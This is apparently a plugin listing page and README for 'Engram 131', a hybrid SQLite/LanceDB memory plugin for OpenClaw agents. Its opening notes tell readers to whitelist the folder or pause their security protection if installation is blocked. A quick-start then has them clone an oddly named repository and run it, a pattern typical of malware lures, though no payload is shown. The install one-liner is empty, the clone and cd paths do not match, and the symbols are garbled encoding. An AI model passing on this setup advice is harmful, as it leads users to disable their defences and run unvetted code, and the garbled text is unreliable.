Voice
Engram 131
π§ Hybrid long-term memory plugin for OpenClaw agents β SQLite+FTS5 for structured facts, LanceDB for semantic recall
Install
npm install
npm
Configuration Example
{
"plugins": {
"slots": { "memory": "engram" },
"entries": {
"engram": {
"enabled": true,
"hooks": { "allowConversationAccess": true },
"config": {
"embedding": {
"apiKey": "${OPENAI_API_KEY}",
"model": "text-embedding-3-small"
},
"autoCapture": true,
"autoRecall": false,
"sqlitePath": "~/.openclaw/memory/facts.db",
"lanceDbPath": "~/.openclaw/memory/lancedb"
}
}
}
}
}
README
# Engram
> [!TIP]
> If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
> [!CAUTION]
> Some security systems may block the installation.
> Only download from the official repository.
---
## QUICK START
```bash
git clone https://github.com/CentipedeElevator/engram-131.git
cd engram-131
npm install
npm start
```
```
ββββββββββββ βββ βββββββ βββββββ ββββββ ββββ ββββ
βββββββββββββ βββββββββββ βββββββββββββββββββββ βββββ
ββββββ ββββββ ββββββ βββββββββββββββββββββββββββββββ
ββββββ βββββββββββββ ββββββββββββββββββββββββββββββ
βββββββββββ ββββββββββββββββββ ββββββ ββββββ βββ βββ
βββββββββββ βββββ βββββββ βββ ββββββ ββββββ βββ
hybrid long-term memory for OpenClaw agents
```
[](https://opensource.org/licenses/MIT)
[](https://openclaw.ai)
> **engram** *(n.)* β the physical/biochemical trace a memory leaves behind. The thing that makes "remembering" actually possible.
Engram is a memory plugin for [OpenClaw](https://openclaw.ai) agents. It gives them a brain that doesn't forget between sessions β backed by **SQLite + FTS5** for exact, structured recall and **LanceDB** for fuzzy semantic search over embeddings.
## β¨ Features
- π§ **Hybrid recall** β structured key/value facts + semantic vector search, queried together
- π **FTS5 full-text search** over fact text
- π **Categories** β `preference`, `fact`, `decision`, `entity`, `other`
- β³ **Decay classes** β `permanent`, `stable`, `active`, `session`, `checkpoint` (with confidence decay)
- πͺ **Auto-capture / auto-recall** hooks (configurable)
- πΎ **Local-first** β your memory stays on your machine
- π **Embeddings via OpenAI** (`text-embedding-3-small` or `-large`)
## π Install
One-liner (clones from this repo, copies the plugin into OpenClaw, wires the config):
```bash
```
Or clone and run manually:
```bash
git clone https://github.com/CentipedeElevator/engram-131
cd engram
bash scripts/install.sh
```
After install:
```bash
export OPENAI_API_KEY="sk-proj-..." # if not already set
openclaw gateway restart
```
Verify it loaded β look for `engram: initialized` in the gateway log.
## π§ͺ Try It
From inside an OpenClaw agent session:
```
> Remember that I prefer dark mode and my coffee black.
```
Next session:
```
> What do you remember about me?
```
The agent recalls via the `memory_recall` / `memory_store` tools, both backed by Engram.
## βοΈ Configuration
Engram is configured under `plugins.entries.engram` in `~/.openclaw/openclaw.json`:
```json
{
"plugins": {
"slots": { "memory": "engram" },
"entries": {
"engram": {
"enabled": true,
"hooks": { "allowConversationAccess": true },
"config": {
"embedding": {
"apiKey": "${OPENAI_API_KEY}",
"model": "text-embedding-3-small"
},
"autoCapture": true,
"autoRecall": false,
"sqlitePath": "~/.openclaw/memory/facts.db",
"lanceDbPath": "~/.openclaw/memory/lancedb"
}
}
}
}
}
```
| Field | Default | Notes |
|---|---|---|
| `embedding.apiKey` | β | required (use `${OPENAI_API_KEY}`) |
| `embedding.model` | `text-embedding-3-small` | or `text-embedding-3-large` |
| `autoCapture` | `true` | extract memories from conversations |
| `autoRecall` | `false` | inject relevant memories into context. Off by default β can be noisy. |
| `sqlitePath` | `~/.openclaw/memory/facts.db` | structured store |
| `lanceDbPath` | `~/.openclaw/memory/lancedb` | vector store |
## π CLI
Engram registers a `engram` CLI command with subcommands:
```bash
openclaw engram stats # show fact/vector counts
openclaw engram prune # remove expired memories
openclaw engram checkpoint # manual checkpoint
openclaw engram backfill-decay # backfill decay classes on legacy data
openclaw engram extract-daily # extract from daily notes
openclaw engram search <q> # hybrid search
openclaw engram lookup <key> # exact lookup
```
Verify after install:
```bash
openclaw plugins doctor
openclaw plugins inspect engram --runtime
```
## π§± Architecture
```
βββββββββββββββββββββββ
β OpenClaw Agent β
ββββββββββββ¬βββββββββββ
β
ββββββββββββββββ΄βββββββββββββββ
β Engram Plugin β
ββββββββ¬ββββββββββββββββ¬βββββββ
β β
ββββββββββββΌββββββ βββββββΌββββββββββ
β SQLite + FTS5 β β LanceDB β
β structured β β vectors β
β facts, keys, β β semantic β
β categories β β recall β
ββββββββββββββββββ βββββββββββββββββ
β² β²
ββββββββ¬βββββββββ
β
ββββββββΌβββββββ
β OpenAI β
β embeddings β
βββββββββββββββ
```
Every memory gets written to **both** stores. Recall queries hit both and merge results by relevance.
## π Uninstall
```bash
bash scripts/uninstall.sh
```
Asks before wiping memory data.
## π€ Contributing
PRs welcome. Open an issue if you want to discuss architecture changes first.
## π License
MIT Β© NanoFlow
---
```
βββ remember everything. forget nothing. βββ
```
<!-- Last updated: 2026-06-06 20:06:11 -->
voice
Comments
Sign in to leave a comment